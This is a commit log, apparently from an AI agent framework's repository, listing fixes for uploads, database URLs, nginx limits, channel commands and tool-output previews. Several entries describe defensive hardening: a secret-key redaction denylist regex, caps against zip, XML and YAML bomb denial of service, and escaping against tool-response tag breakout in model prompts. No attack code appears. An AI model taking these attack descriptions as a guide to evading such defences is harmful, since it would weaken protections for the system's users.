* fix(uploads): claim the converted markdown filename before writing it * doc(changelog): record the converted-markdown filename collision fix Covers both surfaces that report markdown_file: the gateway uploads route and DeerFlowClient.upload_files. * fix(uploads): release the claimed markdown name when conversion fails Claiming the companion .md name before conversion means a conversion that writes nothing leaves the name reserved for the rest of the request, so a later same-stem upload is renamed against a name nothing occupies. Uploading notes.docx (conversion fails) + notes.md stored the user's file as notes_1.md with no notes.md on disk, where main kept notes.md. Discard the claim when conversion returns None, at both call sites that pre-claim it. Covers both victims: a later same-stem .md upload, and the next convertible's companion. |
||
|
|
4746a2579b |
fix(loop-detection): clear the per-tool frequency counter on evict/reset (#4295)
`_evict_if_needed` and `reset` dropped `_tool_name_history` (the windowed
deque) but left `_tool_name_counter` (the Counter that mirrors it) in place.
After a thread id was LRU-evicted and later reused, its frequency count
resumed from the stale value instead of zero, so the first fresh tool call
was force-stopped ("Tool X called N times") as if the evicted calls had
never rotated out. `reset()` had the same gap.
Drop the counter alongside the deque at all three sites (evict, per-thread
reset, full reset). The window deque and its mirror Counter now stay in sync.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
|
||
|
|
dd2f73c1a1 |
fix(config): normalize the postgres:// short scheme for the async ORM engine (#4293)
`app_sqlalchemy_url` rewrites `postgresql://` to `postgresql+asyncpg://` but
leaves libpq's `postgres://` short scheme untouched, so it reaches
`create_async_engine` verbatim and raises
`NoSuchModuleError: Can't load plugin: sqlalchemy.dialects:postgres`.
The two consumers of the same `database.postgres_url` disagree about that
scheme, which is what makes this a partial, backend-only failure rather than a
clean config error:
- the checkpointer and store pass the raw URL to psycopg
(`runtime/checkpointer/provider.py`, `runtime/store/provider.py`), and
psycopg's `conninfo_to_dict` accepts `postgres://` and `postgresql://`
identically;
- the application ORM engine goes through `app_sqlalchemy_url`
(`persistence/engine.py:181`), and SQLAlchemy dropped the `postgres`
dialect alias in 2.0.
So a `postgres://` DSN brings the checkpointer up and takes the ORM engine
down. The `postgres_url` field docstring already promises the opposite --
"the +asyncpg driver suffix is added automatically where needed".
`postgres://` is a legal libpq URI scheme, not a typo, and is the form
`$DATABASE_URL` commonly takes on managed Postgres providers -- which is
exactly what the module docstring recommends configuring
(`postgres_url: $DATABASE_URL`).
Normalize it alongside `postgresql://`. The existing tests covered
`postgresql://` and `postgresql+asyncpg://` but not the short scheme; the new
case fails on main with the `NoSuchModuleError` above.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
|
||
|
luo jiyinandGitHub
|
90d511f3d2 |
refactor(sandbox): consolidate E2B client lifecycle helpers (#4262)
* refactor(sandbox): consolidate E2B client lifecycle * test(sandbox): cover E2B lifecycle cleanup |
||
|
yym36991andGitHub
|
0f088033fe |
fix(gateway): prefer X-Trace-Id over metadata.deerflow_trace_id when header is set (#4283)
When TraceMiddleware binds a valid inbound X-Trace-Id, worker resolution prefers that id over config.metadata.deerflow_trace_id so logs, response headers, Langfuse, and runtime context stay aligned. Also add trace-context marker reset coverage for the inbound-header flag. |
||
|
Daoyuan LiandGitHub
|
283cea567e |
fix(scripts): broaden support bundle secret-key redaction denylist (#4242)
* fix(scripts): broaden support bundle secret-key redaction denylist SECRET_KEY_RE only matched a fixed keyword allowlist, so a secret stored under an unanticipated key name inside an open-ended config dict (e.g. guardrails.provider.config, an arbitrary provider-kwargs dict) was emitted verbatim into config-summary.json even though manifest.json claims redacted_secret_fields=true. This gap was flagged on PR #3886's review before merge but not fully addressed. Broaden the key-name match to mirror env_policy.py's wildcard denylist (*KEY*/*SECRET*/*TOKEN*/*PASS*/*CREDENTIAL*/*DSN*) already used for sandbox env-scrubbing, plus its no-flag credential exact names (GH_PAT/GITHUB_PAT/ REDIS_AUTH/REDISCLI_AUTH/PGSERVICEFILE). The new bare key/pass/dsn alternatives are boundary-guarded so they match only their own delimited token, not an unrelated word that starts with the same letters (routing "keywords", guardrails "passport"). * fix(scripts): stop the pass token boundary from missing passphrase/passcode SECRET_KEY_RE's bare "pass" alternative, (?<![a-zA-Z])pass(?![a-zA-Z]), excludes any key where "pass" is followed by another letter. That correctly keeps "passport" out of the redaction set, but it also excludes genuine secret-bearing key names like "passphrase" and "passcode" -- both of which env_policy.py's *PASS* substring denylist does catch, so a secret stored under either name in an open-ended config dict (e.g. guardrails.provider.config) would still leak into config-summary.json. Narrow the lookahead to only exclude a trailing "port" -- pass(?!port) -- so passphrase/passcode/pass/db_pass all match while passport stays excluded; compass/bypass stay excluded via the existing leading-letter lookbehind, independent of the lookahead. Added a regression test covering both the newly-caught names and the still-excluded ones in one place. Reverting to the old lookahead reproduces the exact leak (passphrase left unredacted); with the fix, tests/test_support_bundle.py (30 tests) is green, and ruff check/format are clean. |
||
|
Daoyuan LiandGitHub
|
75fa028e89 |
fix(artifacts): serve inline binary artifacts via FileResponse for Range support (#4281)
* fix(artifacts): serve inline binary artifacts via FileResponse for Range support Audio/video/image artifacts that are previewed inline (not downloaded, not active content) were served by reading the whole file into memory and returning it through a plain Response. That response never sets Accept-Ranges and ignores any Range header the browser sends, so seeking an <audio>/<video> element backed by this endpoint always gets the full 200 response back instead of a 206 partial response for the requested byte range -- which is why dragging the seek bar on an audio artifact restarts playback from the beginning instead of jumping to the new position. Route this case through FileResponse instead (as the active-content/ download branch already does), which handles Range/If-Range natively. Verified with a real Range request against the endpoint: initial load now reports Accept-Ranges: bytes, and a ranged GET returns 206 with the correct Content-Range and only the requested slice of bytes. Fixes #3240 * fix(artifacts): address review nits on the inline FileResponse branch Two non-blocking nits from review: - Drop the redundant filename= kwarg on the inline_file FileResponse call. Content-Disposition is already set explicitly on this branch, and FileResponse only uses filename to setdefault that same header -- which is a no-op once it's already present. Harmless today, but removes the latent risk that a future Starlette version turning that setdefault into a hard set would silently flip inline preview to attachment. - Reword the blocking-IO regression-anchor docstring: it claimed awaiting get_artifact for a binary artifact does "zero filesystem IO", but _read_artifact_payload still runs exists/is_file/ mimetypes.guess_type/is_text_file_by_content (an 8 KB read) for binary files too, just offloaded via asyncio.to_thread like the text branch. The gate has nothing to catch because that IO is off the event loop, not because there's none -- reworded to say no full-file read happens, matching the accurate framing already used one paragraph up. tests/test_artifacts_router.py, tests/blocking_io/test_artifacts_router.py (19 tests) are green, and ruff check/format are clean on both changed files. |
||
|
Ryker_FengandGitHub
|
a028dfd5fb |
feat(auth): add keep me signed in login option (#4255)
* feat(auth): add keep me signed in login option * fix(auth): address remember-login review feedback |
||
|
Ryker_FengandGitHub
|
e89edb39b1 | fix(gateway): reject non-positive read limits (#4284) | ||
|
Ryker_FengandGitHub
|
f8bef42a04 | fix(wechat): validate timing configuration (#4280) | ||
|
Zhengcy05andGitHub
|
5994fdf38c |
fix: avoid forcing frontend nginx upgrades (#4250)
* fix: avoid forcing frontend nginx upgrades * fix: scope nginx upgrade assertion to frontend location |
||
|
Daoyuan LiandGitHub
|
7757e38b7f |
fix(nginx): allow long chat prompts through /api/langgraph/ without a raw 500 (#4277)
nginx's default client_max_body_size (1m) and proxy_request_buffering (on) were never overridden for the chat/LangGraph route, only for the upload route. A long pasted prompt either exceeded the default size limit (413) or got spooled to a temp file before reaching Gateway, which can fail with a raw nginx 500 on a non-root local run if that temp directory isn't writable -- reproduced independently (real nginx 1.28.3, byte-identical error page and matching error-log Permission denied line) while confirming fancyboi999's diagnosis in issue #3952. Mirrors the upload route's existing client_max_body_size / proxy_request_ buffering fix onto /api/langgraph/ in all three places this nginx config is maintained (Docker prod, local make dev, and the Kubernetes/Helm ConfigMap), sized smaller (20M) since this route only ever carries JSON chat text, never binary file uploads. |
||
|
AariandGitHub
|
a0e1d82ef4 |
fix(workspace-changes): offload blocking filesystem IO in text-cache lifecycle (#4268)
* fix(workspace-changes): offload blocking filesystem IO in text-cache lifecycle capture_workspace_snapshot and record_workspace_changes offload their scans via asyncio.to_thread, but ran the snapshot text cache's whole lifecycle on the event loop: roots resolution (os.path.abspath), tempfile.mkdtemp, and shutil.rmtree on both the capture-failure branch and record_workspace_changes' finally. That finally runs on every agent run, including abort paths, so each run removed up to max_files cached texts on the loop. Offload the roots + mkdtemp prep through one _prepare_capture worker hop, and route both rmtree call sites through _remove_text_cache_dir. Cleanup stays best-effort: it swallows and logs, so a failing cleanup cannot replace the exception or result already in flight. asyncio.shield is deliberately not used -- to_thread submits to the pool immediately, so cancelling the future does not stop the running thread and the cache is still removed under single and repeated cancellation. Externally observable behavior is unchanged. Found via `make detect-blocking-io`: these were the last 2 HIGH findings in the repo, which now reports none. The roots resolution is invisible to that scanner (sync helper, cross-file call) but blocks the same async path, and the anchor cannot reach the rmtree without it. Add tests/blocking_io/test_workspace_changes_recorder.py, driving the capture-failure branch and the record finally. Teeth verified per clause under the strict Blockbuster gate: reverting each offload alone reddens its own call (os.path.samestat for rmtree, os.path.abspath for roots/mkdtemp). * fix(workspace-changes): make text-cache prepare handoff cancellation-safe _prepare_capture creates the mkdtemp cache dir inside the to_thread worker, so a run cancelled after mkdtemp but before the coroutine receives the path orphaned the dir. Shield the prepare future and, on cancellation, reclaim its result to remove the dir before re-raising. mkdtemp stays offloaded (the blocking-io gate flags os.mkdir from deerflow code). Adds a deterministic cancellation regression. * fix(workspace-changes): drain repeated cancellation in text-cache reclaim The mkdtemp handoff guard reclaimed the shielded worker's result on the first CancelledError, but the reclaim await was itself cancellable: a second cancel landed there, slipped past `except Exception` (CancelledError is BaseException), and skipped the reclaim while the shielded worker still finished — orphaning the deerflow-workspace-changes-* dir. Repeated cancelled runs accumulate leaks. Move reclaim+remove into a task the caller cannot abandon and drain repeated cancellation until it completes, then restore the cancellation. A repeat cancel interrupts the await, not the task, so the dir is never abandoned; the loop exits only once cleanup has finished, leaving no pending task. Non-cancel paths are unchanged. Adds test_capture_workspace_snapshot_repeated_cancellation_leaks_no_text_cache (double-cancel regression). make test-blocking-io: 43 passed. |
||
|
Willem JiangandGitHub
|
208df4931d | doc(changelog): updated the changelog with latest changes (#4270) | ||
|
Huixin615andGitHub
|
c9b6131f8f |
fix(skills): reload mounted skills without restarting Gateway (#4264)
* fix(skills): add admin-only reload endpoint * fix(skills): preserve cache when reload fails |
||
|
Daoyuan LiandGitHub
|
1ae02913ea |
fix(skills): cap archive entry count in safe_extract_skill_archive (#4241)
safe_extract_skill_archive() capped total uncompressed bytes (zip bomb defence) but had no limit on member count, so a small archive with tens of thousands of tiny/empty entries extracted with no error. The same entry-count cap already existed in scan_archive_preflight() (skillscan orchestrator, 4096 members) with the comment "a huge member count is a bounded DoS vector even when the total size is small" -- but that scan only runs when the optional skill_scan.enabled kill switch is on (default true, but operator-configurable), so disabling it silently dropped this specific protection while config.example.yaml's comment implied safe archive extraction alone still covered it. Move the same 4096 cap into safe_extract_skill_archive itself as an early-abort before any per-member work, so it applies unconditionally regardless of skill_scan.enabled. Leaving scan_archive_preflight's own cap in place as defense in depth (it fires earlier, on preflight, with a structured finding for reporting). Related: #2618 requested exactly this hardening; #2619 (closed, unmerged) implemented a broader version of it, including this same entry-count cap directly in the extractor. |
||
|
AariandGitHub
|
5a5c661e9f |
fix(middleware): recover malformed tool-call ids in dangling repair (#4246)
* fix(middleware): recover malformed tool-call ids in dangling repair DanglingToolCallMiddleware normalizes malformed tool-call names (#4008) and arguments (#4193) so strict OpenAI-compatible providers do not reject the next request. The id is the third field of that same recovery contract and was left alone. A provider that emits an empty id -- or omits it -- parses into a well-formed tool_calls entry, so it reaches the middleware through the normal path. The empty id never enters the pairing set, so the orphan pass drops the call's already-produced ToolMessage and the placeholder pass skips the call. The request then goes out carrying an empty id and with the real tool result gone. Normalize ids up front and re-point each already-paired ToolMessage at its call's new id, so the existing pairing/orphan/placeholder logic no longer sees a malformed id. Only the view that is actually read and serialized is relabelled; a valid id is left byte-for-byte alone, since it is matched verbatim against ToolMessage.tool_call_id. * fix(middleware): scope malformed-id result pairing to its own turn Malformed tool-call ids are all equally empty, so pairing recovered results by the original id alone was a global FIFO over the whole transcript. An earlier dangling call then consumed a later turn's result: the real result was served to the wrong call while the call that actually ran got the interrupted placeholder. An orphan result whose originating AIMessage was already gone could likewise be adopted by a later malformed call, resurrecting it instead of being dropped as the orphan pass intends. Walk the messages once in document order so only the most recent AIMessage's unanswered calls are claimable, which keeps a result answering the turn that issued it, and rule out the wrong parallel sibling within a turn by tool name. A result whose name matches no open call is left malformed for the existing orphan pass to drop rather than repurposed as some other call's answer. * fix(middleware): keep the shadowed raw view out of id recovery * fix(middleware): only claim a malformed result when the pairing is forced * docs(middleware): cite ToolNode's ordering guarantee for positional pairing |
||
|
Daoyuan LiandGitHub
|
9a4c72db99 |
fix(channels): isolate per-message failures in WeChat poll loop (#4231)
_poll_loop persisted the long-poll cursor (get_updates_buf) for the whole getupdates batch immediately on receipt, then iterated data["msgs"] with no per-message error handling. If any single message's processing raised (e.g. an attachment that fails to decrypt), the for loop aborted and every message after the failing one in that batch was never handled -- but since the cursor had already advanced past the whole batch, the next poll would never re-fetch them. The loss was silent and permanent, not a delay. Fix is two parts: - Wrap each _handle_update call in its own try/except (re-raising CancelledError) so one bad message is logged and skipped instead of aborting the rest of the batch. - Move the cursor advance/persist to after the per-message loop instead of before it, so a hard crash mid-batch leaves the cursor unmoved. Worst case becomes re-fetching and re-processing the batch on restart, not silently skipping messages that were never actually handled. Regression test drives the real _handle_update over a 3-message batch where the middle message is a WeChat image item with deliberately non-block-aligned "encrypted" bytes, so decryption raises a genuine cryptography ValueError (the same failure shape a corrupt real attachment would produce). Confirms the first and third messages both still reach the bus, the failure is logged with the message id, and the persisted cursor reflects the fully-attempted batch. |
||
|
Daoyuan LiandGitHub
|
13afef6278 |
fix(tui): interrupt an active run before /quit exits (#4235)
_handle_builtin's "quit" branch called self.exit() unconditionally, unlike action_interrupt (Ctrl+C), which checks self._streaming and interrupts before any teardown. During an active run, /quit tore the app down while the worker thread was still live; the next call_from_thread call from that orphaned thread then failed silently (the app's loop is gone), quietly abandoning the in-flight turn and any post-run persistence such as the thread title. Mirror action_interrupt's check: if self._streaming, run the same interrupt/cleanup path before calling self.exit(). /quit still always exits -- it now just does so safely. Adds a regression test using a fake client that blocks mid-stream (a real worker thread genuinely stuck, not a hand-flipped flag) to catch /quit during a run, plus a Ctrl+C contrast test under the same setup. |
||
|
|
7156e745e0 |
fix(channels): don't treat a bare "connect" as a bind command (#4251)
`extract_connect_code` matched `command in {"/connect", "connect"}`, so any
message whose first word is the ordinary English word "connect" was parsed as
`/connect <code>` and its next word swallowed as a one-time bind code. For
example `extract_connect_code("connect the database to the api")` returned
`"the"` instead of `None`, meaning a normal chat message never reached the
agent and instead attempted a channel bind.
Every other channel control command requires a leading slash:
`is_known_channel_command` only matches `/`-prefixed tokens and
`KNOWN_CHANNEL_COMMANDS` holds only slash forms (`/goal`, `/new`, ...). The
docstrings and AGENTS.md advertise only `/connect <code>`. The bare alias was
inconsistent with all of that and produced the false-positive bind.
Match only `/connect`. The `.lower()` keeps it case-insensitive (`/Connect`)
and the mention-prefix handling from #4222 is unaffected, so
`@bot /connect <code>` still binds.
Co-authored-by: Claude Opus 4.8 (1M context) <noreply@anthropic.com>
|
||
|
hataaandGitHub
|
10890e10a8 | feat(authz): propagate trusted authorization principal context (#4203) | ||
|
Huixin615andGitHub
|
f9340c1f08 |
test(mcp): cover passive skill tool visibility (#4247)
* test(mcp): cover passive skill tool visibility * test(mcp): tighten deferred discovery coverage |
||
|
Yufeng HeandGitHub
|
ae223199fd |
fix(security): escape MindIE tool-response content against </tool_response> breakout (#4253)
Signed-off-by: Yufeng He <40085740+he-yufeng@users.noreply.github.com> |
||
|
AariandGitHub
|
bc6f1adc71 | fix(channels): dispatch Feishu group commands prefixed with a bot @mention (#4229) | ||
|
Huixin615andGitHub
|
693507870c | fix(frontend): preserve single tildes in markdown (#4245) | ||
|
|
756eac0d1a |
feat(tool):Add structured synopsis for oversized tool output previews (#3377)
* Improve tool output preview synopsis * Add JSON path anchors to tool output synopsis * Fix JSON synopsis line anchors * fix(synopsis): tighten detectors and fix CSV first-row join Address review feedback from @willem-bd on PR #3377. Detectors: - _looks_yaml now requires >=3 key-shaped lines and refuses bare uppercase-tag lines ('INFO: ...', 'ERROR: ...') that look like log lines and would round-trip into a flat string dict via safe_load. Previously a 200-line log file was classified as 'YAML object with 3 top-level keys' and lost every line, count, and middle signal. - _try_yaml refuses payloads that safe_load collapses to a dict of all strings (the shape tracebacks and log lines collapse into). - _try_table applies the header-must-look-like-identifiers and minimum-row-count guards only to TSV, since the same safeguards would reject legitimate small CSVs. Refuses tab-indented bash output, ls -l listings, and tree dumps. Rendering: - CSV first data row is now rendered as a key=value list joined by ' | ' (e.g. 'name=Ada | description="a fine, brilliant logician" | score=98'). The previous delimiter.join(rows[1]) silently re-split cells that contained the delimiter inside a quoted cell, which made the synopsis report a 3-column table as 5 columns and misled the model about column count and content. Text summary: - _summarize_text now omits the closing excerpt entirely when the input is shorter than 2 * _TEXT_EXCERPT_CHARS, since the previous opener/closer slices overlapped and duplicated text for short inputs (build_tool_output_synopsis is reachable directly from tests and other callers that pass small inputs). Tests: - Update test_table_preview_extracts_columns to assert the new key=value list format. * fix(synopsis): drop JSON path line/byte offset hints The path-location hint was computed by string-searching for the quoted key in the original content and reporting its byte offset and line number. This anchors at the first textual occurrence of the key string, which is wrong when the key also appears as a value earlier in the document, or when the same key recurs at multiple depths. With nested paths the anchor drifts further on every step because the search cursor is advanced past each previous match. Concrete cases: content = '{"label": "items", "items": {"id": 1}}' _json_path_location(content, ['items']) -> ' (line 1, byte offset 10)' # the value, not the key content = '{"data": {"info": 1, "data": {"info": 2}}}' _json_path_location(content, ['data','data','info']) -> ' (line 1, byte offset 30)' # the inner first 'info', not the second The synopsis instructed the model to 'Start near the line hints above when present', so a wrong anchor would send read_file into the wrong region of the persisted .tool-results file. Drop the hint entirely. The path itself ('$.data.items') is already useful navigation; the agent uses read_file with start_line based on its own judgement of where the relevant slice is. Tests: - Update test_json_preview_reports_nested_paths to assert no 'line ' or 'byte offset ' appears in the body before the Access section. - Rename test_json_line_hints_use_original_content_offsets to test_json_paths_are_emitted_without_line_hints and invert the assertions to check the hints are absent. * fix(synopsis): bound _scalar_examples recursion depth Mirror the _JSON_STRUCTURE_DEPTH cap used by _json_container_paths and _json_shape so that deeply nested JSON cannot trigger RecursionError inside build_tool_output_synopsis. In ToolOutputBudgetMiddleware.awrap_tool_call the synopsis is built inside asyncio.to_thread(_patch_result, ...); a RecursionError would surface as a tool-call failure and the user would lose the entire output. 300-level nested JSON is well inside what an attacker-controlled MCP tool, a JSON-RPC-over-JSON-RPC chain, or a buggy serializer can produce. * feat(synopsis): restore inline raw head/tail sample The synopsis-only preview silently dropped the raw head/tail bytes that preview_head_chars / preview_tail_chars used to inline. For text/code/log outputs the agent lost first/last KB of the actual content and had to issue a follow-up read_file round-trip to see the trailing region (last paragraph of a fetched article, final error line in a traceback, closing diagnostics of a bash run). Restore an inline 'Raw sample (head + tail)' section in the preview. The section is composed by slicing head_chars from the start and tail_chars from the end of the content (with a '...' separator between them, and the tail suppressed when it would overlap the head). For binary-like output, the synopsis's own sample is reused unchanged. This makes preview_head_chars / preview_tail_chars operational again for every kind except binary, which already had a sample channel. Tests: - Rename test_json_preview_extracts_structure_instead_of_head_tail to test_json_preview_includes_structure_and_raw_sample and assert the raw sample section is present and the payload is reachable in the head slice. * test(synopsis): add regression tests for willem-bd review findings Add 8 regression tests under TestToolOutputSynopsis, one per finding in @willem-bd's review of PR #3377: - test_review_5_log_lines_are_not_misclassified_as_yaml Pins the YAML detector to refuse 'LEVEL: message' log lines. - test_review_6_json_paths_are_emitted_without_byte_offset Pins the removal of byte/line hint from JSON path descriptions. - test_review_7_scalar_examples_respects_depth_cap Pins that 500-deep nested JSON does not raise. - test_review_8_csv_first_row_quoted_cells_round_trip Pins the new key=value list format for CSV first-row rendering and asserts that quoted cells with embedded delimiters survive. - test_review_9_tsv_detector_rejects_tab_indented_bash Pins that tab-indented bash output is not classified as TSV. - test_review_10_preview_includes_raw_head_and_tail_sample Pins the restored inline 'Raw sample (head + tail)' section. - test_review_11_short_text_does_not_duplicate_excerpts Pins that closer is suppressed for inputs shorter than 2 * _TEXT_EXCERPT_CHARS. - test_review_12_preview_head_tail_chars_are_operational Pins that head_chars / tail_chars are wired into the rendered preview and not silently dropped. Also removes the now-stale 'byte offsets are approximate anchors' sentence from render_tool_output_preview's Access block; the synopsis no longer emits byte/line hints, so the guidance to 'start near the line hints' was misleading. * fix(synopsis): resolve lint errors on tool output budget tests Local 'make lint' on feat/tool-output-synopsis-preview (after fast-forward to current main) failed with three errors in tests added by PR #3377: - E501: 307-char bash_out literal in test_review_9_tsv_detector_rejects_tab_indented_bash - E741: ambiguous single-letter 'l' in test_review_11_short_text_does_not_duplicate_excerpts - E741: same ambiguous 'l' on the closing assert Replace the long literal with a join of per-row entries, rename the loop variable from 'l' to 'ln', and run ruff format on the two touched files to absorb the formatting drift introduced by the merge with main. Verification: - make lint -> All checks passed; 643 files already formatted - pytest tests/test_tool_output_budget_middleware.py -> 110 passed * fix: address willem-bd review findings (code/csv misclassification, text duplication, line snapping, dead constant, xml hardening, depth consistency) - _CODE_HINTS: require stronger signals for use/fn (trailing ; or parenthesised) - _try_table: apply _TABLE_MIN_DATA_ROWS gate to CSV too (not just TSV) - config.example.yaml: correct misleading comment about preview_head/tail_chars - _summarize_text: skip opener/closer excerpts when raw sample will be appended - _build_raw_sample: snap to line boundaries for clean truncation - Remove dead constant _TABLE_FIRST_ROW_CHARS - Prefer defusedxml for XML parsing (billion-laughs protection), fallback to stdlib - Replace _json_shape magic number 2 with named _JSON_SHAPE_MAX_DEPTH constant - Update tests to match new CSV gate (>=5 rows) and line-snapped sample counts * style: ruff format fix for tool_output_synopsis.py and test_tool_output_budget_middleware.py * fix(tool-output): address 4 review comments - DoS hardening + size cap 1. XML entity-expansion DoS: skip _try_xml when defusedxml is not available (SafeET is None), falling through to text + raw sample. (cid=3587721336) 2. YAML alias-bomb DoS: refuse to parse YAML content > 500 KB. (cid=3587721340) 3. Unbounded content parse: add _MAX_SYNOPSIS_INPUT_BYTES=5MB cap; oversized output falls back to raw head/tail sample instead of full parse. (cid=3587721346) 4. Scalar examples surface mid-document values: add docstring note that the synopsis is a structural summary, not a confidentiality filter. (cid=3587721353) * fix(tool-output): ruff format the synopsis string to one line --------- Co-authored-by: qinchenghan <qinchenghan@huawei.com> |
||
|
AariandGitHub
|
7df44f586c |
fix(agents): refuse empty SOUL.md updates in update_agent (#4219)
* fix(agents): refuse empty SOUL.md updates in update_agent setup_agent already rejects empty/whitespace soul (#3553). update_agent is the sibling write path and previously reported success while wiping a working SOUL.md. Mirror the same guard before staging. * fix(agents): guide the retry in the empty-SOUL update rejection Append "Omit the soul field if you do not want to change it." to the empty-soul error so the model self-corrects in one step instead of retrying with another null-like value, matching the "No fields provided" sibling message's helpfulness. Both regression tests assert the guidance. |
||
|
|
d57f695769 |
fix(helm): default sandbox Services to ClusterIP (#3929) (#4190)
* fix(helm): default sandbox Services to ClusterIP (#3929) The K8s sandbox provisioner supports both NodePort and ClusterIP via SANDBOX_SERVICE_TYPE (added in #4016), but the Helm chart never set it, so real-cluster installs inherited the NodePort default. That bound the code-execution sandbox on every node's interfaces - including externally reachable ones on GKE/EKS/AKS - and pinned every sandbox URL to one node IP (SPOF on node reboot/drain/ephemeral-IP). Default the chart to ClusterIP: the provisioner returns a cluster-DNS URL (http://sandbox-<id>-svc.<ns>.svc.cluster.local:8080) so the gateway-> sandbox hop stays inside the cluster network - no node IP, no 30xxx port, no external exposure. The chart always runs the gateway in-cluster, so ClusterIP is always correct there. NodePort remains an opt-in (provisioner.sandboxServiceType: NodePort + nodeHost) for the Docker-Compose/hybrid path where the gateway is not in K8s and cannot resolve .svc.cluster.local; the provisioner code default stays NodePort for that path. - values.yaml: add provisioner.sandboxServiceType ("ClusterIP") - provisioner-deployment.yaml: emit SANDBOX_SERVICE_TYPE; gate the NODE_HOST block on NodePort mode (default "ClusterIP" for upgrade safety) - NOTES.txt + README.md: document ClusterIP default + NodePort opt-in No change to docker/provisioner/app.py (already mode-aware since #4016) or RBAC (services verbs already cover ClusterIP). * test(helm): assert sandbox Service-type gating + CHANGELOG the default flip (#3929) Address review on #4190: - Add scripts/check_chart_sandbox_service.sh: renders the chart for the default (ClusterIP, no NODE_HOST), the NodePort opt-in (both emitted), and NodePort+nodeHost (literal value, not downward API). Locks in the #3929 gating so a regression (e.g. re-adding an unconditional NODE_HOST, or dropping the `default "ClusterIP"` upgrade-safety fallback) fails CI. Wired into .github/workflows/chart.yaml validate-chart job. (#2) - CHANGELOG [Unreleased] -> Changed: note the NodePort->ClusterIP default flip on upgrade + the `sandboxServiceType: NodePort` opt-back-in. (#4) No chart template changes (the gating itself landed in the first commit). --------- Co-authored-by: Willem Jiang <willem.jiang@gmail.com> |
||
|
Huixin615andGitHub
|
65afc9b1d2 |
fix(skills): apply allowed-tools only to active skills (#4098)
* fix(skills): scope allowed-tools to active skills * fix(skills): tolerate stale active skill paths * chore: retrigger CI * fix(skills): document policy activation limits * perf(skills): reuse per-step tool policy decisions * fix(skills): harden runtime tool policy contracts * fix(skills): redact cached policy decisions * fix(skills): make slash tool policy authoritative * fix(skills): preserve policy-safe discovery tools * test(skills): cover explicit task delegation policy |
||
|
qin-chenghanandGitHub
|
e7d7da9e7c |
fix(frontend): strip <memory> tags in Streamdown to avoid React console error (#4209)
* fix(frontend): use code-aware stripLeakedSystemTags for all internal marker tags Replace the ad-hoc /<\/?memory>/g in ClipboardSafeStreamdown with a dedicated stripLeakedSystemTags() function in preprocess.ts that: - Covers all INTERNAL_MARKER_TAGS (<memory>, <system-reminder>, <current_date>, <uploaded_files>, <slash_skill_activation>) instead of only <memory> - Is code-aware: skips fenced code blocks (```) and indented code blocks (4-space indent), so user-written meta-discussions about the memory system are not silently stripped - Handles opening tags, closing tags, self-closing tags, and tags with attributes - Adds 15 unit tests covering all the above cases * fix(frontend): use marker-aware fence tracking in stripLeakedSystemTags The boolean insideFence toggle incorrectly closes a fence on any line matching 3+ backticks or tildes, regardless of the actual delimiter. This causes tags inside a tilde-fenced block containing a backtick sub-fence, or a 4-backtick block containing a 3-backtick sub-fence, to be silently stripped. Track the opening fence marker (character and run length) so that only a matching marker with at least the same length closes the fence. Adds 4 new test cases: - Tilde fence with inner backtick fence - 4-backtick fence with inner 3-backtick fence - Shorter tilde closing inside longer tilde fence - Tags stripped after real closing fence * fix(frontend): fix TypeScript strict errors in fence marker tracking - Use non-null assertion (!) on fenceMatch[1] (guaranteed by regex) - Use charAt(0) instead of [0] to avoid string | undefined type |
||
|
AariandGitHub
|
b3a0dac8ad |
fix(channels): accept leading @mentions before /connect bind codes (#4222)
* fix(channels): accept leading @mentions before /connect bind codes Group chats often deliver "@bot /connect <code>" (Feishu/DingTalk leave the mention in the text). extract_connect_code required the message to start with /connect, so those binds silently failed while Slack/Discord already strip mentions before parsing. Skip leading mention tokens in the shared helper. * test(channels): pin mention variants and case-insensitive /connect parsing |
||
|
|
94a34f382d |
feat(context): record effective memory identity per run (#3556)
* feat(context): record effective memory identity per run * fix(context): address memory identity review feedback --------- Co-authored-by: Willem Jiang <willem.jiang@gmail.com> |
||
|
Tianye SongandGitHub
|
8da7cbf028 |
feat(memory): LLM-assigned per-fact expected_valid_days and staleFactsToExtend (#4143)
Re-ports this feature onto the pluggable-memory backend introduced in #4122 (the original #4143 was force-pushed clean by accident and auto-closed). The #4122 refactor moved the staleness logic into the self-contained DeerMem backend (backends/deermem/deermem/core/) and reverted it to the pre-feature global-threshold version, so the per-fact lifetime work is re-applied here against the new module layout + DI (MemoryUpdater is now (config, storage, llm)-injected; config lives on DeerMemConfig, not host MemoryConfig). **expected_valid_days (creation)** The LLM assigns a per-fact review window when storing each new fact. The prompt exposes five tiers (<=14 d transient -> >365 d very stable). The value is capped at write time by staleness_age_days x staleness_max_lifetime_multiplier (default 20.0 -> 1800 d ~= 5 years; range 1.0-100.0) so the model cannot set an initial lifetime so long the fact is never re-evaluated. The default 20.0 makes the "> 365 d very stable" tier achievable out of the box (3.0 silently clamped it to 270 d). **staleFactsToExtend (review)** During staleness review the LLM can emit extension entries for kept facts whose window seems miscalibrated. new_evd = min(days_since_created + extend_by_days, staleness_max_extension_days). Extensions use an absolute ceiling (default 3650 d ~= 10 years; range 90-36500) rather than the creation multiplier - they are deliberate review decisions that must be able to advance the window beyond the initial cap, but the absolute bound prevents timedelta overflow (a model-supplied extend_by_days of 10**9 previously crashed every later candidate-selection pass with OverflowError) and LLM misfire. **Invariant correctness** - Read-time cap removed from _effective_fact_staleness_age; cap is write-time only so extensions actually advance the review window. - proposed_remove_ids hoisted out of the removals sub-block and used to exclude from extension, so a cap-surviving proposed-removal fact is never extended. - extend_by coerced to int before the > 0 guard (a fractional 0.9 would pass the float check then int() to 0, silently writing a zero-delta extension). - days_since uses total_seconds() // 86400 (not .days truncation). - staleness-section html.escape uses quote=False to match the prompt.py convention; only <, >, & break element-text structure. **Tests** test_memory_staleness_review.py was module-level skipped by #4122 ("full unit-test migration is a follow-up"). This PR performs that migration: DI construction via (DeerMemConfig, _FakeStorage), _build_staleness_section back to the (candidates, config) signature, plus new coverage for per-fact selection, EXTEND with the absolute cap, the overflow next-cycle regression, the proposed-removal-not-extendable case, fractional extend_by skipping, and the creation-time cap. 67 tests, all green. |
||
|
AariandGitHub
|
259f51ca4f |
fix(github): match allow_authors logins case-insensitively (#4218)
